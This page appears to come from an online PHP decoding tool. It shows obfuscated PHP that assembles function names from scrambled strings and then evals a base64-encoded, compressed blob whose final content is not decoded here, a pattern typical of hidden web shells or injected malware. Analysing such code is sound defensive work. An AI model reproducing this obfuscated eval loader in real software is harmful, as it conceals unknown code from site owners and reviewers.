Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==..

Decoded Output download

if(!function_exists("rotencode")){function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}}

Did this file decode correctly?

Original Code

<?php 
 $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==");
eval(gzinflate(base64_decode('hY7NCoJAFIVf5SQu5tIUzVpc9hxSeq0huwPzA4X47ikxEm7anu/82V7t+iRttE4aftkQgyq8iyyt67ggGjPFqqoyRG/lpsvL0yWJhBHlg9+oEdJ1ZqsBJw1DFWyvZmVgyYTq2iwxzzF5QXv3yvlOLS2EPXJxhQk8BP7vxHH5d/7+274wGpv5gyH9uzJNHw==')));
$O0O0O0O0O0O0=$keystroke1[2].$keystroke1[32].$keystroke1[20].$keystroke1[11].$keystroke1[23].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
$keystroke2 = $O0O0O0O0O0O0("xes26:tr5bzf{8ydhog`uw9omvl7kicjp43nq", -1);
$OO000OO000OO=$keystroke2[16].$keystroke2[12].$keystroke2[31].$keystroke2[23].$keystroke2[18].$keystroke2[24].$keystroke2[9].$keystroke2[20].$keystroke2[11];
$O0000000000O=$keystroke1[30].$keystroke1[9].$keystroke1[6].$keystroke1[11].$keystroke1[27].$keystroke1[8].$keystroke1[19].$keystroke1[1].$keystroke1[11].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
eval($OO000OO000OO(base64_decode('LdBHrq
NIAADQy4zU/4sFRTJYrV5gcrDLRYbNiMwHimhj4P
Qzi968A7xyS/uvfyAEAPzlK0vX8sL+W5T5WJRfv+
xCtjv8QKIoo4HDMz+zqyRxjs8D1LI1o+QOPrbXJa
c7pnoy97jNBhFcdrNgBvu6YrcyyIHGhyqdp3kQx9
0ViCd73MF14do6uOV1hU7qfNC27S5MfNjqjSg7wS
GMhFZox2SepVCoiGdiwlrv5sEy+Y8o0DT0+pqosi
YiHfGaTd6HHTYoTwV0EiUgizrSfoDqY+NxEnQ9wI
SZoLnwvST2kEjmSMFoHRn1M9sFtSrzbhQc5wbPKu
EYz1BqcxCxyq581xgET5lW1gFRktaEvdrkrb+a7p
tvd0p2c3PpDiGqOhgSZNNpeyfkeGX8VKPiJbVwUO
ge1KelVQxW9nUtZtaG2z1cMWC8cR/t540LAGgkB9
YLbkBDq9foavpKC6d6xgORpJ/M4j3atd9YISzA+O
y45s8z3Tt9Vt01KaexCMfXOG2lzI+X6MHBcUXqhO
/GDrrTCcsfI2uJZaHXF3xHM/aDMLRqnx6ic5CPFm
pFSLIz18FlPqWGWp4EJPsf6elfJ3UsFhZal8gNdm
fK25B/5LwObdcQ52t8eLM44I3esjdrWJgMVcFi9u
Ys+HZGD8TBo7N6Od8iHRV31lrzVoHqxoaTtIHSb4
aKDpO0bhNdAB9hquL3bfqMelX83yZS2NlBBixrVi
Nt0+8WRG/wZBr/wiTqEsp9RczlduMkrqVB3F00av
W94szrIZYuPoXLvoS7m9dCayaNsWTzcMwSasEINy
5jqkg/FzMxTP6OEM1JijM0kofZ+qE1U/doF29Dj7
TzooB73zOyV4PZblFb5wi1wZWsdOpaRTwv/Pn1/f
39+z8=')));
?>

Function Calls

gzinflate 1
base64_decode 2

Variables

$keystroke1 wdr159sq4ayez7xcgnf_tv8nluk6jhbio32mp

Stats

MD5 299ecb89b5c21d93feea59db6b5ea7b6
Eval Count 1
Decode Time 94 ms